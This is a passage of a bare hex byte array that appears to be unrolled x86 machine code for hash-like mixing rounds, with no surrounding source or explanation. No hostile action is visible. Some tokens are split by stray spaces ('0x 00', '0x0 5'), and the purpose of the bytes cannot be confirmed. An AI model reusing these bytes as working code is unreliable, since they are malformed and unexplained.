0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x90, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x94, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x98, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x9C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xA8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xAC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xB8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xBC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xC0, 0x41, 0x40, 0x 00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0xC4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xD6, 0xC1, 0x62, 0xCA, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xC8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xCC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xD8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xDC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xE8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xEC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF0, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF4, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xF8, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0xFC, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x0 5, 0x00, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x04, 0x42, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 